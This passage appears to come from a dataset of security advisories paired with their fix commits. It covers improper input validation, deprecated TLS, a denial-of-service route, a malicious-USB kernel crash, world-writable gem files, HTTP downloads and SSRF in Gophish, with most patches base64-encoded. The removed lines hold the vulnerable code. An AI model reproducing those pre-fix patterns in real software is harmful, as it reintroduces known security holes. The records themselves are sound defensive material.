5LT5zeW1ib2wgPSAkZGF0YVsnc3ltYm9sJ107CisgICAgICAgICAgICAkY3VycmVuY3ktPnN5bWJvbCA9IGUoJGRhdGFbJ3N5bWJvbCddKTsKICAgICAgICAgfQogCiAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCduYW1lJywgJGRhdGEpICYmICcnICE9PSAoc3RyaW5nKSRkYXRhWyduYW1lJ10pIHsKLSAgICAgICAgICAgICRjdXJyZW5jeS0+bmFtZSA9ICRkYXRhWyduYW1lJ107CisgICAgICAgICAgICAkY3VycmVuY3ktPm5hbWUgPSBlKCRkYXRhWyduYW1lJ10pOwogICAgICAgICB9CiAKICAgICAgICAgaWYgKGFycmF5X2tleV9leGlzdHMoJ2VuYWJsZWQnLCAkZGF0YSkgJiYgaXNfYm9vbCgkZGF0YVsnZW5hYmxlZCddKSkgewotICAgICAgICAgICAgJGN1cnJlbmN5LT5lbmFibGVkID0gJGRhdGFbJ2VuYWJsZWQnXTsKKyAgICAgICAgICAgICRjdXJyZW5jeS0+ZW5hYmxlZCA9IChib29sKSAkZGF0YVsnZW5hYmxlZCddOwogICAgICAgICB9CiAKICAgICAgICAgaWYgKGFycmF5X2tleV9leGlzdHMoJ2RlY2ltYWxfcGxhY2VzJywgJGRhdGEpICYmIGlzX2ludCgkZGF0YVsnZGVjaW1hbF9wbGFjZXMnXSkpIHsKLSAgICAgICAgICAgICRjdXJyZW5jeS0+ZGVjaW1hbF9wbGFjZXMgPSAkZGF0YVsnZGVjaW1hbF9wbGFjZXMnXTsKKyAgICAgICAgICAgICRjdXJyZW5jeS0+ZGVjaW1hbF9wbGFjZXMgPSAoaW50KSAkZGF0YVsnZGVjaW1hbF9wbGFjZXMnXTsKICAgICAgICAgfQogCiAgICAgICAgICRjdXJyZW5jeS0+c2F2ZSgpOw==", "url": "https://github.com/firefly-iii/firefly-iii/commit/6b05c0fbd3e8c40ae9b24dc2698821786fccf0c5.patch" } ]
CWE-20 Improper Input Validation
GHSA-p3pf-mff8-3h47
Gorush uses deprecated TLS versions
null
[ { "commit_message": "[PATCH] chore(httpd): enhance security and testing protocols (#793) - Remove nolint comment - Update minimum TLS version from 1.0 to 1.2 fix #792 Signed-off-by: Bo-Yi Wu <appleboy.tw@gmail.com> router/server_normal.go | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-)", "patch_text_b64": "RnJvbSAwNjdjYjU5N2U0ODVlNDBiNzkwYTI2NzE4N2JmN2YwMDczMGIxYzRiIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBCby1ZaSBXdSA8YXBwbGVib3kudHdAZ21haWwuY29tPgpEYXRlOiBTYXQsIDEzIEp1bCAyMDI0IDE1OjU3OjM2ICswODAwClN1YmplY3Q6IFtQQVRDSF0gY2hvcmUoaHR0cGQpOiBlbmhhbmNlIHNlY3VyaXR5IGFuZCB0ZXN0aW5nIHByb3RvY29scyAoIzc5MykKCi0gUmVtb3ZlIG5vbGludCBjb21tZW50Ci0gVXBkYXRlIG1pbmltdW0gVExTIHZlcnNpb24gZnJvbSAxLjAgdG8gMS4yCgpmaXggIzc5MgoKU2lnbmVkLW9mZi1ieTogQm8tWWkgV3UgPGFwcGxlYm95LnR3QGdtYWlsLmNvbT4KLS0tCiByb3V0ZXIvc2VydmVyX25vcm1hbC5nbyB8IDMgKy0tCiAxIGZpbGUgY2hhbmdlZCwgMSBpbnNlcnRpb24oKyksIDIgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvcm91dGVyL3NlcnZlcl9ub3JtYWwuZ28gYi9yb3V0ZXIvc2VydmVyX25vcm1hbC5nbwppbmRleCBiNjNjNTQyZjEuLmU4ODIxMTA3MSAxMDA2NDQKLS0tIGEvcm91dGVyL3NlcnZlcl9ub3JtYWwuZ28KKysrIGIvcm91dGVyL3NlcnZlcl9ub3JtYWwuZ28KQEAgLTQxLDkgKzQxLDggQEAgZnVuYyBSdW5IVFRQU2VydmVyKGN0eCBjb250ZXh0LkNvbnRleHQsIGNmZyAqY29uZmlnLkNvbmZZYW1sLCBxICpxdWV1ZS5RdWV1ZSwgcwogCWlmIGNmZy5Db3JlLkF1dG9UTFMuRW5hYmxlZCB7CiAJCXJldHVybiBzdGFydFNlcnZlcihjdHgsIGF1dG9UTFNTZXJ2ZXIoY2ZnLCBxKSwgY2ZnKQogCX0gZWxzZSBpZiBjZmcuQ29yZS5TU0wgewotCQkvL25vbGludAogCQljb25maWcgOj0gJnRscy5Db25maWd7Ci0JCQlNaW5WZXJzaW9uOiB0bHMuVmVyc2lvblRMUzEwLAorCQkJTWluVmVyc2lvbjogdGxzLlZlcnNpb25UTFMxMiwKIAkJfQogCiAJCWlmIGNvbmZpZy5OZXh0UHJvdG9zID09IG5pbCB7", "url": "https://github.com/appleboy/gorush/commit/067cb597e485e40b790a267187bf7f00730b1c4b.patch" } ]
null
GHSA-97gv-3p2c-xw7j
Denial of Service and Content Injection in i18n-node-angular
null
[ { "commit_message": "[PATCH] [FIX] Only register translate route during development i18n-node-routes.js | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSA4Nzc3MjBkMmQ5YmI5MGRjODIzMzcwNmU4MWZmYTAzZjk5ZmM5ZGM4IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBPbGl2ZXIgU2FsemJ1cmcgPG9saXZlci5zYWx6YnVyZ0BnbWFpbC5jb20+CkRhdGU6IFRodSwgNyBKYW4gMjAxNiAwOTo0MDowMiArMDEwMApTdWJqZWN0OiBbUEFUQ0hdIFtGSVhdIE9ubHkgcmVnaXN0ZXIgdHJhbnNsYXRlIHJvdXRlIGR1cmluZyBkZXZlbG9wbWVudAoKLS0tCiBpMThuLW5vZGUtcm91dGVzLmpzIHwgNSArKysrLQogMSBmaWxlIGNoYW5nZWQsIDQgaW5zZXJ0aW9ucygrKSwgMSBkZWxldGlvbigtKQoKZGlmZiAtLWdpdCBhL2kxOG4tbm9kZS1yb3V0ZXMuanMgYi9pMThuLW5vZGUtcm91dGVzLmpzCmluZGV4IDAwODM0MTIuLmNmZTBiMWEgMTAwNjQ0Ci0tLSBhL2kxOG4tbm9kZS1yb3V0ZXMuanMKKysrIGIvaTE4bi1ub2RlLXJvdXRlcy5qcwpAQCAtNDksNyArNDksMTAgQEAgdmFyIGNvbmZpZ3VyZSA9IGZ1bmN0aW9uKCBhcHAsIGNvbmZpZ09iamVjdCApIHsKIAogCS8vIFJlZ2lzdGVyIHJvdXRlcwogCWFwcC5nZXQoICIvaTE4bi86bG9jYWxlIiwgaTE4blJvdXRlcy5pMThuICk7Ci0JYXBwLmdldCggIi9pMThuLzpsb2NhbGUvOnBocmFzZSIsIGkxOG5Sb3V0ZXMudHJhbnNsYXRlICk7CisKKwlpZiggcHJvY2Vzcy5lbnYuTk9ERV9FTlYgPT09ICJkZXZlbG9wbWVudCIgKSB7CisJCWFwcC5nZXQoICIvaTE4bi86bG9jYWxlLzpwaHJhc2UiLCBpMThuUm91dGVzLnRyYW5zbGF0ZSApOworCX0KIH07CiAKIC8qKg==", "url": "https://github.com/oliversalzburg/i18n-node-angular/commit/877720d2d9bb90dc8233706e81ffa03f99fc9dc8.patch" } ]
null
GHSA-mxvc-vmg9-j3pv
null
[ { "commit_message": "[PATCH] Input: powermate - fix oops with malicious USB descriptors The powermate driver expects at least one valid USB endpoint in its probe function. If given malicious descriptors that specify 0 for the number of endpoints, it will crash. Validate the number of endpoints on the interface before using them. The full report for this issue can be found here: http://seclists.org/bugtraq/2016/Mar/85 Reported-by: Ralf Spenneberg <ralf@spenneberg.net> Cc: stable <stable@vger.kernel.org> Signed-off-by: Josh Boyer <jwboyer@fedoraproject.org> Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com> drivers/input/misc/powermate.c | 3 +++ 1 file changed, 3 insertions(+)", "patch_text_b64": "RnJvbSA5YzZiYTQ1NjcxMTY4N2I3OTRkY2YyODU4NTZmYzE0ZTJjNzYwNzRmIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBKb3NoIEJveWVyIDxqd2JveWVyQGZlZG9yYXByb2plY3Qub3JnPgpEYXRlOiBNb24sIDE0IE1hciAyMDE2IDA5OjMzOjQwIC0wNzAwClN1YmplY3Q6IFtQQVRDSF0gSW5wdXQ6IHBvd2VybWF0ZSAtIGZpeCBvb3BzIHdpdGggbWFsaWNpb3VzIFVTQiBkZXNjcmlwdG9ycwoKVGhlIHBvd2VybWF0ZSBkcml2ZXIgZXhwZWN0cyBhdCBsZWFzdCBvbmUgdmFsaWQgVVNCIGVuZHBvaW50IGluIGl0cwpwcm9iZSBmdW5jdGlvbi4gIElmIGdpdmVuIG1hbGljaW91cyBkZXNjcmlwdG9ycyB0aGF0IHNwZWNpZnkgMCBmb3IKdGhlIG51bWJlciBvZiBlbmRwb2ludHMsIGl0IHdpbGwgY3Jhc2guICBWYWxpZGF0ZSB0aGUgbnVtYmVyIG9mCmVuZHBvaW50cyBvbiB0aGUgaW50ZXJmYWNlIGJlZm9yZSB1c2luZyB0aGVtLgoKVGhlIGZ1bGwgcmVwb3J0IGZvciB0aGlzIGlzc3VlIGNhbiBiZSBmb3VuZCBoZXJlOgpodHRwOi8vc2VjbGlzdHMub3JnL2J1Z3RyYXEvMjAxNi9NYXIvODUKClJlcG9ydGVkLWJ5OiBSYWxmIFNwZW5uZWJlcmcgPHJhbGZAc3Blbm5lYmVyZy5uZXQ+CkNjOiBzdGFibGUgPHN0YWJsZUB2Z2VyLmtlcm5lbC5vcmc+ClNpZ25lZC1vZmYtYnk6IEpvc2ggQm95ZXIgPGp3Ym95ZXJAZmVkb3JhcHJvamVjdC5vcmc+ClNpZ25lZC1vZmYtYnk6IERtaXRyeSBUb3Jva2hvdiA8ZG1pdHJ5LnRvcm9raG92QGdtYWlsLmNvbT4KLS0tCiBkcml2ZXJzL2lucHV0L21pc2MvcG93ZXJtYXRlLmMgfCAzICsrKwogMSBmaWxlIGNoYW5nZWQsIDMgaW5zZXJ0aW9ucygrKQoKZGlmZiAtLWdpdCBhL2RyaXZlcnMvaW5wdXQvbWlzYy9wb3dlcm1hdGUuYyBiL2RyaXZlcnMvaW5wdXQvbWlzYy9wb3dlcm1hdGUuYwppbmRleCA2M2I1MzlkM2RhYmFlMS4uODQ5MDlhMTJmZjM2YzIgMTAwNjQ0Ci0tLSBhL2RyaXZlcnMvaW5wdXQvbWlzYy9wb3dlcm1hdGUuYworKysgYi9kcml2ZXJzL2lucHV0L21pc2MvcG93ZXJtYXRlLmMKQEAgLTMwNyw2ICszMDcsOSBAQCBzdGF0aWMgaW50IHBvd2VybWF0ZV9wcm9iZShzdHJ1Y3QgdXNiX2ludGVyZmFjZSAqaW50ZiwgY29uc3Qgc3RydWN0IHVzYl9kZXZpY2VfaQogCWludCBlcnJvciA9IC1FTk9NRU07CiAKIAlpbnRlcmZhY2UgPSBpbnRmLT5jdXJfYWx0c2V0dGluZzsKKwlpZiAoaW50ZXJmYWNlLT5kZXNjLmJOdW1FbmRwb2ludHMgPCAxKQorCQlyZXR1cm4gLUVJTlZBTDsKKwogCWVuZHBvaW50ID0gJmludGVyZmFjZS0+ZW5kcG9pbnRbMF0uZGVzYzsKIAlpZiAoIXVzYl9lbmRwb2ludF9pc19pbnRfaW4oZW5kcG9pbnQpKQogCQlyZXR1cm4gLUVJTzs=", "url": "https://github.com/torvalds/linux/commit/9c6ba456711687b794dcf285856fc14e2c76074f.patch" } ]
null
GHSA-26qj-cr27-r5c4
Octopoller gem published with world-writable files
null
[ { "commit_message": "[PATCH 1/7] Adds details on how to run a manual file integrity check RELEASE.md | 45 ++++++++++++++++++++++++++++++++++++++------- 1 file changed, 38 insertions(+), 7 deletions(-)", "patch_text_b64": "From df26b8a095753d416d1dc83b47379ec0fce3386e Mon Sep 17 00:00:00 2001
From: Nick Floyd <nicholas.floyd.info@gmail.com>
Date: Tue, 14 Jun 2022 08:55:21 -0500
Subject: [PATCH 1/7] Adds details on how to run a manual file integrity check

---
 RELEASE.md | 45 ++++++++++++++++++++++++++++++++++++++-------
 1 file changed, 38 insertions(+), 7 deletions(-)

diff --git a/RELEASE.md b/RELEASE.md
index 787a401..dc9007a 100644
--- a/RELEASE.md
+++ b/RELEASE.md
@@ -2,14 +2,45 @@
 
 1. Create a list of all the changes since the prior release
     1. Compare the previous release to `master` using `https://github.com/octokit/octopoller.rb/compare/`v1.3.3.7...master` (assuming that the last release was `v1.3.3.7`)
-1. Ensure there are no breaking changes _(if there are breaking changes you'll need to create a release branch without those changes or bump the major version)_
-1. Update the version
+2. Ensure there are no breaking changes _(if there are breaking changes you'll need to create a release branch without those changes or bump the major version)_
+3. Update the version
     1. Checkout `master`
-    1. Update the constant in `lib/octopoller/version.rb` (when `bundle` is executed the version in the `Gemfile.lock` will be updated)
-    1. Run `bin/setup` so that `Gemfile.lock` will be updated with the new version
-    1. Commit and push directly to `master`
-1. Run the `script/release` script to cut a release
-1. Draft a new release at <https://github.com/octokit/octopoller.rb/releases/new> containing the changelog from step 1
+    2. Update the constant in `lib/octopoller/version.rb` (when `bundle` is executed the version in the `Gemfile.lock` will be updated)
+    3. Run `bin/setup` so that `Gemfile.lock` will be updated with the new version
+    4. Commit and push directly to `master`
+4. Run the "File integrity check"
+5. Run the `script/release` script to cut a release
+6. Draft a new release at <https://github.com/octokit/octopoller.rb/releases/new> containing the changelog from step 1
+
+----
+
+## File integrity check
+
+(Given octopoller.rb is currently shipped "manually")
+
+Because different environments behave differently, it is recommended that the integrity and file permissions of the files packed in the gem are verified. This is to help prevent things like releasing world writeable files in the gem. As we get things a little more automated, this will become unnecessary.
+
+Until then, it is recommended that if you are preparing a release you run the following prior to releasing the gem:
+
+From the root of octopoller.rb
+
+```
+> gem build *.gemspec
+```
+
+Use the version from the build in the next commands
+
+```
+> tar -x -f octopoller-#.##.#.gem 
+> tar -t -v --numeric-owner -f data.tar.gz |head -n 10
+```
+
+The files in the output should have the following permessions set:  
+`-rw-r--r--`
+
+(optional) Once verified, you can run `git clean -dfx` to clean things up before packing 
+
+----
 
 ## Prerequisites
 

From 21ad47f5c99e94555b3f1fe32e20974beae0f23c Mon Sep 17 00:00:00 2001
From: Nick Floyd <nicholas.floyd.info@gmail.com>
Date: Tue, 14 Jun 2022 10:49:53 -0500
Subject: [PATCH 2/7] adds a script to help validate things during a release

---
 RELEASE.md     | 22 ++--------------------
 script/package |  3 +++
 2 files changed, 5 insertions(+), 20 deletions(-)

diff --git a/RELEASE.md b/RELEASE.md
index dc9007a..32946c4 100644
--- a/RELEASE.md
+++ b/RELEASE.md
@@ -18,27 +18,9 @@
 
 (Given octopoller.rb is currently shipped "manually")
 
-Because different environments behave differently, it is recommended that the integrity and file permissions of the files packed in the gem are verified. This is to help prevent things like releasing world writeable files in the gem. As we get things a little more automated, this will become unnecessary.
+When `script/release` or `script/package` is executed `script/validate` is executed to check the file permissions
 
-Until then, it is recommended that if you are preparing a release you run the following prior to releasing the gem:
-
-From the root of octopoller.rb
-
-```
-> gem build *.gemspec
-```
-
-Use the version from the build in the next commands
-
-```
-> tar -x -f octopoller-#.##.#.gem 
-> tar -t -v --numeric-owner -f data.tar.gz |head -n 10
-```
-
-The files in the output should have the following permessions set:  
-`-rw-r--r--`
-
-(optional) Once verified, you can run `git clean -dfx` to clean things up before packing 
+Given that different environments behave differently, it is recommended that the integrity and file permissions of the files packed in the gem are verified. This is to help prevent things like releasing world writeable files in the gem. As we get things a little more automated, this will become unnecessary.
 
 ----
 
diff --git a/script/package b/script/package
index 926f489..fbb365c 100755
--- a/script/package
+++ b/script/package
@@ -4,4 +4,7 @@
 
 mkdir -p pkg
 gem build *.gemspec
+
+./script/validate
+
 mv *.gem pkg

From 2baec36ce18241f3e98c3cc22f335d8ab279caf2 Mon Sep 17 00:00:00 2001
From: Nick Floyd <nicholas.floyd.info@gmail.com>
Date: Tue, 14 Jun 2022 10:50:34 -0500
Subject: [PATCH 3/7] adds the validation script

---
 script/validate | 39 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)
 create mode 100755 script/validate

diff --git a/script/validate b/script/validate
new file mode 100755
index 0000000..4188c9e
--- /dev/null
+++ b/script/validate
@@ -0,0 +1,39 @@
+#!/usr/bin/env bash
+# Usage: script/gem
+# Validates the packed gem to determine if file permissions are correct.
+
+<<'###SCRIPT_COMMENT'
+Purpose: 
+(Given octopoller.rb is currently shipped "manually")
+
+Because different environments behave differently, it is recommended that the integrity and file permissions of the files packed in the gem are verified.
+This is to help prevent things like releasing world writeable files in the gem. The simple check below looks at each file contained in the packed gem and
+verifies that the files are only owner writeable.
+
+Requirements:
+This script expects that script/package, script/release or 'gem build *.gemspec' have been run
+
+###SCRIPT_COMMENT
+
+
+FILE=$(ls *.gem| head -1)
+
+if [ ! -f "$FILE" ]; then
+    echo "$FILE does not exist. Please run script/package, script/release or 'gem build *.gemspec' to generate the gem to be validated"
+    exit 1
+fi
+
+tar -xf "${FILE}"
+
+# naive check to quickly see if any files in the gem are set to the wrong permissions
+for f in $(tar --numeric-owner -tvf data.tar.gz )
+do
+  if [ $f == "-rw-rw-rw-" ]; then
+     echo "World writeable files (-rw-rw-rw- | 666) detected in the gem. Please repack and make sure that all files in the gem are owner read write ( -rw-r--r-- | 644 )"
+     rm -f checksums.yaml.gz data.tar.gz metadata.gz
+     exit 1
+  fi
+done
+
+# Check clean up
+rm -f checksums.yaml.gz data.tar.gz metadata.gz
\ No newline at end of file

From 92e9713b87a249dfa055da81328e2a7b269b12a2 Mon Sep 17 00:00:00 2001
From: Nick Floyd <nicholas.floyd.info@gmail.com>
Date: Tue, 14 Jun 2022 10:55:40 -0500
Subject: [PATCH 4/7] removes the step for the integrity check

---
 RELEASE.md | 1 -
 1 file changed, 1 deletion(-)

diff --git a/RELEASE.md b/RELEASE.md
index 32946c4..3854516 100644
--- a/RELEASE.md
+++ b/RELEASE.md
@@ -8,7 +8,6 @@
     2. Update the constant in `lib/octopoller/version.rb` (when `bundle` is executed the version in the `Gemfile.lock` will be updated)
     3. Run `bin/setup` so that `Gemfile.lock` will be updated with the new version
     4. Commit and push directly to `master`
-4. Run the "File integrity check"
 5. Run the `script/release` script to cut a release
 6. Draft a new release at <https://github.com/octokit/octopoller.rb/releases/new> containing the changelog from step 1
 

From e1871652594f16d7d2ab4901a0f11f66480b7a60 Mon Sep 17 00:00:00 2001
From: Nick Floyd <nicholas.floyd.info@gmail.com>
Date: Tue, 14 Jun 2022 10:57:35 -0500
Subject: [PATCH 5/7] rewording

---
 RELEASE.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/RELEASE.md b/RELEASE.md
index 3854516..5a2e12c 100644
--- a/RELEASE.md
+++ b/RELEASE.md
@@ -8,12 +8,12 @@
     2. Update the constant in `lib/octopoller/version.rb` (when `bundle` is executed the version in the `Gemfile.lock` will be updated)
     3. Run `bin/setup` so that `Gemfile.lock` will be updated with the new version
     4. Commit and push directly to `master`
-5. Run the `script/release` script to cut a release
+5. Run the `script/release` script to cut a release (this will run `script/validate` to perform the permission check)
 6. Draft a new release at <https://github.com/octokit/octopoller.rb/releases/new> containing the changelog from step 1
 
 ----
 
-## File integrity check
+## File permissions check
 
 (Given octopoller.rb is currently shipped "manually")
 

From 2f17f79b5c44fea104d7c10ce4081150ca391869 Mon Sep 17 00:00:00 2001
From: Nick Floyd <nicholas.floyd.info@gmail.com>
Date: Tue, 14 Jun 2022 15:42:51 -0500
Subject: [PATCH 6/7] reworks the scripts to be more durable / predictable /
 informational when executed

---
 RELEASE.md      | 15 +++-----------
 script/package  | 12 +++++++++--
 script/release  | 55 +++++++++++++++++++++++++++++++++++++++++--------
 script/validate |  5 +++++
 4 files changed, 64 insertions(+), 23 deletions(-)

diff --git a/RELEASE.md b/RELEASE.md
index 5a2e12c..c48343a 100644
--- a/RELEASE.md
+++ b/RELEASE.md
@@ -8,18 +8,9 @@
     2. Update the constant in `lib/octopoller/version.rb` (when `bundle` is executed the version in the `Gemfile.lock` will be updated)
     3. Run `bin/setup` so that `Gemfile.lock` will be updated with the new version
     4. Commit and push directly to `master`
-5. Run the `script/release` script to cut a release (this will run `script/validate` to perform the permission check)
-6. Draft a new release at <https://github.com/octokit/octopoller.rb/releases/new> containing the changelog from step 1
-
-----
-
-## File permissions check
-
-(Given octopoller.rb is currently shipped "manually")
-
-When `script/release` or `script/package` is executed `script/validate` is executed to check the file permissions
-
-Given that different environments behave differently, it is recommended that the integrity and file permissions of the files packed in the gem are verified. This is to help prevent things like releasing world writeable files in the gem. As we get things a little more automated, this will become unnecessary.
+5. (Optional) Run `script/release` with no paraeters to execute a dry run of a release
+6. Run the `script/release -r` script to cut a release (this will also run `script/validate` to perform the permission check)
+7. Draft a new release at <https://github.com/octokit/octopoller.rb/releases/new> containing the changelog from step 1
 
 ----
 
diff --git a/script/package b/script/package
index fbb365c..b89de9a 100755
--- a/script/package
+++ b/script/package
@@ -5,6 +5,14 @@
 mkdir -p pkg
 gem build *.gemspec
 
-./script/validate
+./script/validate || rm *.gem
+
+echo "*** Packing and moving the octopoller gem ***"
+if [ -f *.gem ]; then
+  mv *.gem pkg
+  echo -e '☑ success'
+else
+  echo -e '☒ failure'
+  exit 1
+fi
 
-mv *.gem pkg
diff --git a/script/release b/script/release
index 6dcd8cb..ec0e0d5 100755
--- a/script/release
+++ b/script/release
@@ -5,12 +5,49 @@
 
 set -e
 
-version="$(script/package | grep Version: | awk '{print $2}')"
-[ -n "$version" ] || exit 1
-
-echo $version
-git commit --allow-empty -a -m "Release $version"
-git tag "v$version"
-git push origin
-git push origin "v$version"
-gem push pkg/*-${version}.gem
+usage() { 
+  echo "Usage: $0 [-r] Tags and releases/publishes Octopoller" 1>&2; exit 1; 
+}
+
+while [ $# -gt 0 ]
+do
+    case $1 in
+        '-r')
+            r=true
+            ;;
+        '-h')
+            usage
+            ;;
+        *)
+            echo "No valid parameter passed in, performing a dry run...";
+            ;;
+    esac
+    shift
+done
+
+if [ -z "${r}" ]; then
+  ./script/package
+    echo "*** Dry run: octopoller was not tagged or released ***"
+    echo -e '☑ success'
+else
+
+  # We execite the script separately to get logging and proper exit conditions
+  ./script/package
+
+  # We need to pull the version from the actual file that is about to be published
+  file=$(ls pkg/*.gem| head -1)
+  version=$(echo $file | sed -e 's/.*octopoller-\(.*\).gem.*/\1/') 
+  
+  [ -n "$version" ] || exit 1
+
+  echo "*** Tagging and publishing $version of octopoller ***"
+
+  git commit --allow-empty -a -m "Release $version"
+  git tag "v$version"
+  git push origin
+  git push origin "v$version"
+  gem push pkg/*-${version}.gem
+  echo -e '☑ success'
+fi
+
+
diff --git a/script/validate b/script/validate
index 4188c9e..0dbfedc 100755
--- a/script/validate
+++ b/script/validate
@@ -18,8 +18,11 @@ This script expects that script/package, script/release or 'gem build *.gemspec'
 
 FILE=$(ls *.gem| head -1)
 
+echo "*** Validating file permissions in the octopoller gem ***"
+
 if [ ! -f "$FILE" ]; then
     echo "$FILE does not exist. Please run script/package, script/release or 'gem build *.gemspec' to generate the gem to be validated"
+    echo -e '☒ failure'
     exit 1
 fi
 
@@ -30,10 +33,12 @@ for f in $(tar --numeric-owner -tvf data.tar.gz )
 do
   if [ $f == "-rw-rw-rw-" ]; then
      echo "World writeable files (-rw-rw-rw- | 666) detected in the gem. Please repack and make sure that all files in the gem are owner read write ( -rw-r--r-- | 644 )"
+     echo -e '☒ failure'
      rm -f checksums.yaml.gz data.tar.gz metadata.gz
      exit 1
   fi
 done
 
 # Check clean up
+echo -e '☑ success'
 rm -f checksums.yaml.gz data.tar.gz metadata.gz
\ No newline at end of file

From a9dfdbd093cbc3ac7e82a049620a62f065814d92 Mon Sep 17 00:00:00 2001
From: Nick Floyd <nicholas.floyd.info@gmail.com>
Date: Tue, 14 Jun 2022 15:46:43 -0500
Subject: [PATCH 7/7] fixes typo

---
 RELEASE.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/RELEASE.md b/RELEASE.md
index c48343a..68ad7c6 100644
--- a/RELEASE.md
+++ b/RELEASE.md
@@ -8,7 +8,7 @@
     2. Update the constant in `lib/octopoller/version.rb` (when `bundle` is executed the version in the `Gemfile.lock` will be updated)
     3. Run `bin/setup` so that `Gemfile.lock` will be updated with the new version
     4. Commit and push directly to `master`
-5. (Optional) Run `script/release` with no paraeters to execute a dry run of a release
+5. (Optional) Run `script/release` with no parameters to execute a dry run of a release
 6. Run the `script/release -r` script to cut a release (this will also run `script/validate` to perform the permission check)
 7. Draft a new release at <https://github.com/octokit/octopoller.rb/releases/new> containing the changelog from step 1", "url": "https://github.com/octokit/octopoller.rb/commit/abed2b8d05abe2cc3eb6bdfb34e53d465e7c7874.patch" } ]
null
GHSA-9p47-w5xp-f4xr
windows-build-tools downloads Resources over HTTP
null
[ { "commit_message": "[PATCH] :wrench: Use HTTPS - Thanks to @grander src/constants.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)", "patch_text_b64": "RnJvbSA5ODM1ZDMzZTY4ZjJjYjVlNGQxNDhlOTU0YmIzZWQwMjIxZDk4ZTkwIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBGZWxpeCBSaWVzZWJlcmcgPGZlbGl4QGZlbGl4cmllc2ViZXJnLmNvbT4KRGF0ZTogVGh1LCAyMiBEZWMgMjAxNiAwOToxOToyNSAtMDgwMApTdWJqZWN0OiBbUEFUQ0hdIDp3cmVuY2g6IFVzZSBIVFRQUyAtIFRoYW5rcyB0byBAZ3JhbmRlcgoKLS0tCiBzcmMvY29uc3RhbnRzLmpzIHwgMiArLQogMSBmaWxlIGNoYW5nZWQsIDEgaW5zZXJ0aW9uKCspLCAxIGRlbGV0aW9uKC0pCgpkaWZmIC0tZ2l0IGEvc3JjL2NvbnN0YW50cy5qcyBiL3NyYy9jb25zdGFudHMuanMKaW5kZXggYThlMzg4Yy4uYmRiYTE0YyAxMDA2NDQKLS0tIGEvc3JjL2NvbnN0YW50cy5qcworKysgYi9zcmMvY29uc3RhbnRzLmpzCkBAIC0yLDcgKzIsNyBAQCB2YXIgcHl0aG9uTWlycm9yID0gcHJvY2Vzcy5lbnYubnBtX2NvbmZpZ19weXRob25fbWlycm9yIHx8IHByb2Nlc3MuZW52LlBZVEhPTl9NSQogCiB2YXIgYnVpbGRUb29scyA9IHsKICAgaW5zdGFsbGVyTmFtZTogJ0J1aWxkVG9vbHNfRnVsbC5leGUnLAotICBpbnN0YWxsZXJVcmw6ICdodHRwOi8vZG93bmxvYWQubWljcm9zb2Z0LmNvbS9kb3dubG9hZC81L2YvNy81ZjdhY2FlYi04MzYzLTQ1MWYtOTQyNS02OGE5MGY5OGIyMzgvdmlzdWFsY3BwYnVpbGR0b29sc19mdWxsLmV4ZScsCisgIGluc3RhbGxlclVybDogJ2h0dHBzOi8vZG93bmxvYWQubWljcm9zb2Z0LmNvbS9kb3dubG9hZC81L2YvNy81ZjdhY2FlYi04MzYzLTQ1MWYtOTQyNS02OGE5MGY5OGIyMzgvdmlzdWFsY3BwYnVpbGR0b29sc19mdWxsLmV4ZScsCiAgIGxvZ05hbWU6ICdidWlsZC10b29scy1sb2cudHh0JwogfQ==", "url": "https://github.com/felixrieseberg/windows-build-tools/commit/9835d33e68f2cb5e4d148e954bb3ed0221d98e90.patch" } ]
null
CVE-2020-24710
Gophish before 0.11.0 allows SSRF attacks.
[ { "commit_message": "[PATCH] Implement SSRF Mitigations (#1940) Initial commit of SSRF mitigations. This fixes #1908 by creating a *net.Dialer which restricts outbound connections to only allowed IP ranges. This implementation is based on the blog post at https://www.agwa.name/blog/post/preventing_server_side_request_forgery_in_golang To keep things backwards compatible, by default we'll only block connections to 169.254.169.254, the link-local IP address commonly used in cloud environments to retrieve metadata about the running instance. For other internal addresses (e.g. localhost or RFC 1918 addresses), it's assumed that those are available to Gophish. To support more secure environments, we introduce the `allowed_internal_hosts` configuration option where an admin can set one or more IP ranges in CIDR format. If addresses are specified here, then all internal connections will be blocked except to these hosts. There are various bits about this approach I don't really like. For example, since various packages all need this functionality, I had to make the RestrictedDialer a global singleton rather than a dependency off of, say, the admin server. Additionally, since webhooks are implemented via a singleton, I had to introduce a new function, `SetTransport`. Finally, I had to make an update in the gomail package to support a custom net.Dialer. config/config.go | 11 +-- controllers/api/import.go | 3 + controllers/api/import_test.go | 84 ++++++++++++++++++ dialer/dialer.go | 158 +++++++++++++++++++++++++++++++++ dialer/dialer_test.go | 85 ++++++++++++++++++ go.mod | 4 +- go.sum | 6 +- gophish.go | 10 +++ imap/imap.go | 6 +- models/smtp.go | 4 +- models/smtp_test.go | 12 +++ webhook/webhook.go | 5 ++ 12 files changed, 373 insertions(+), 15 deletions(-) create mode 100644 controllers/api/import_test.go create mode 100644 dialer/dialer.go create mode 100644 dialer/dialer_test.go", "patch_text_b64": "From e3352f481e94054ffe08494c9225d3878347b005 Mon Sep 17 00:00:00 2001
From: Jordan Wright <jmwright798@gmail.com>
Date: Thu, 20 Aug 2020 09:36:18 -0500
Subject: [PATCH] Implement SSRF Mitigations (#1940)

Initial commit of SSRF mitigations.

This fixes #1908 by creating a *net.Dialer which restricts outbound connections to only allowed IP ranges. This implementation is based on the blog post at https://www.agwa.name/blog/post/preventing_server_side_request_forgery_in_golang

To keep things backwards compatible, by default we'll only block connections to 169.254.169.254, the link-local IP address commonly used in cloud environments to retrieve metadata about the running instance. For other internal addresses (e.g. localhost or RFC 1918 addresses), it's assumed that those are available to Gophish.

